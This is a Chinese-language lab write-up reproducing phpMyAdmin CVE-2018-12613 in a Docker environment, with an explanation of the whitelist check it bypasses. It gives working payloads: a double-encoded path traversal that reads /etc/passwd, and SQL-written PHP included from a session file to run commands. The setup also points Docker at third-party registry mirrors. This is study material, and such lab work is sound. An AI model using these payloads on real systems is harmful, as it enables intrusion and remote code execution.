目录
一.phpmyadmin(CVE-2018-12613)
1.搭建环境
step1:进入到对应漏洞的目录之后,启动环境
sudo docker-compose up -d
ERROR:说明Docker 客户端尝试从 Docker Hub 拉取镜像(mysql:5.5
)时超时了,原因通常是网络连接问题。
解决:
1)编辑/etc/docker/daemon.json,添加镜像加速地址
sudo mkdir -p /etc/docker
vi /etc/docker/daemon.json
{
"registry-mirrors": [
"https://docker.sunzishaokao.com",
"https://docker.1ms.run",
"https://docker.1panel.live",
"https://docker.anyhub.us.kg"
]
}
2)进行加载并重启docker
systemctl daemon-reload
systemctl restart docker
3)尝试:解决
step2:访问http://your-ip:8080
使用ifconfig查询本机的ip地址(eth0),然后访问上述网站进入漏洞环境
2.漏洞复现
目标一:读取/etc/passwd
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../etc/passwd
成功读取目标文件
目标二:get shell,拿到执行权限
step1:在SQL查询页面上执行以下命令
select '<?php echo `ls` ?>';
然后在inspect的storage里找到cookie值
step2:构造以下url,包含并执行session文件中的PHP代码
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_fccf89f4e64ff48d5702459d62accc39
成功访问后,服务器返回了当前目录下的文件列表,在select'.....'里,成功实现了远程命令执行
3.攻击原理(
首先找到index.php源文件并观察
docker ps
docker exec -it cve-2018-12613_web_1 /bin/bash
解释:如果满足上述几个条件,target
参数指定的文件会被直接包含执行,条件有非空,是字符串,不能以index开头,不在黑名单中,通过白名单检查函数Core::checkPageValidity()
1)查看黑名单
黑名单有import.php和export.php
2)查看白名单校验函数,在libraries/classes/Core.php
解释:
$_page = urldecode($page);
$_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));
将传入的page进行URL解码,然后从URL参数中提取文件名部分,即去掉?后面的查询字符串
漏洞利用:%253f,服务器自动解码一次为%3f
,然后urldecode
函数再解码一次为?,则满足截取?之前的内容在白名单中,从而返回true
index.php?target=db_sql.php%253f/../../../../etc/passwd
我们可以结合路径遍历漏洞访问服务器上的任意文件(如临时目录下的会话文件 sess_xxx
),并通过文件包含功能将这些文件加载执行,最终导致任意代码执行或敏感信息泄露,从而实现远程命令执行(RCE)等攻击效果。
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_fccf89f4e64ff48d5702459d62accc39
/tmp/sess_fccf89f4e64ff48d5702459d62accc39是服务器的会话文件,该文件包含有PHP攻击代码,即我们在SQL询问中写入的select '<?php echo `ls` ?>';,所以当访问该文件时会执行其中的PHP代码,进而达到目的
(2025.5.7 持续更新)